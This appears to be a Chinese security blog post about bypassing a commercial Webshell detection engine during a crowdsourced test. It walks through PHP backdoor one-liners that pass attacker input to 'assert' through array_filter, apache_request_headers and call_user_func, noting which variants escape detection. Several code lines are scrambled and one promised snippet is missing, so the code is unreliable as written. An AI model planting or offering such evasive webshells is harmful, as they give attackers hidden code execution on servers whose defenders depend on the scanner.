这阵子青藤云的雷火众测貌似蛮火,本着试试看的心态参与了一下,也在某个月黑风高的夜里提交了一枚自认为绕过查杀的 Webshell 样本。然鹅,今天看了看审核没通过。
当然我也不会闲着无聊把一个不是 Webshell 的样本提交审核,如下是使用效果图
至于为什么审核说它不是一个 Webshell,我也不明白。
绕过分析
说起 Webshell 绕 WAF,大多用字符串拼接混淆、冷门的函数等等,本人才疏学浅,想到的几种方法大多都包含在了如下两个链接里
Lufei:
https://github.com/lufeirider/BypassShell
P神:
https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html
作为新型的 Webshell 查杀引擎,上面链接里提到的方法应该难逃查杀,不过组合利用可能会有老树开新花的意外惊喜。
我选择 array_filter 函数作为突破口,没啥特别的理由。简单的测试如下
$a='a';$b=$_GET['b'];array_filter($a,$b); //被查杀
$a=$_GET['a'];$b='b';array_filter($a,$b); //正常
$a=$_GET['a'];$b='assert';array_filter($a,$b); //被查杀,这个特征这么明显不杀天理难容。
$a='a';$b='assert';array_filter($a,$b); //正常
根据如上的几个测试隐约感觉到第二个值可以直接赋值成 assert,然后将GET传参方式更换成其他的方式,没准就可以绕过了,顺着这个思路我开始寻找传入参数的方法。
首先我选的是, 之前在信安之路发了一篇某 CMS 从有限的代码执行到任意代码,其中使用了apache_request_headers 函数用于获取 HTTP 头部信息数组来作为输入,于是有了如下代码,然鹅并没有逃脱引擎的查杀。
"assert"); array_filter(apache_request_headers(),
试了一下其他任意函数返回值。
"assert"); //正常 array_filter(phpinfo(),
"assert"); //正常 array_filter(system(),
"assert"); //正常 array_filter(call_user_func(),
上述几个例子都没被查杀,当然他们也并不具备 Webshell 的能力,这样的查杀结果并没毛病。
我选择最后一个例子再传入 apache_request_headers,作为参数,用来获得输入。
"apache_request_headers"),"assert"); array_filter(call_user_func(
也同样的成功的绕过了检测。
可能有人会觉得都能执行 call_user_func 函数了,为什么不直接使用这个函数。当然也是可以,但是仍然要解决的是传参的问题。所以如下代码也是可以绕过检测的。
简而言之,在测试的过程中发现引擎对不同的函数中的变量和常量敏感程度不同(我瞎猜的),然后就使用这种比较垃圾的方法绕过去了。
当然,是不是绕过,还得青藤云的审核大大说的算。。。他们说不是 Webshell 就不是了呗。既然判定无危害,就当作一个好玩的事情分享给诸位吧。
本文始发于微信公众号(信安之路):雷火众测亲体验,一次被忽略的测试
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论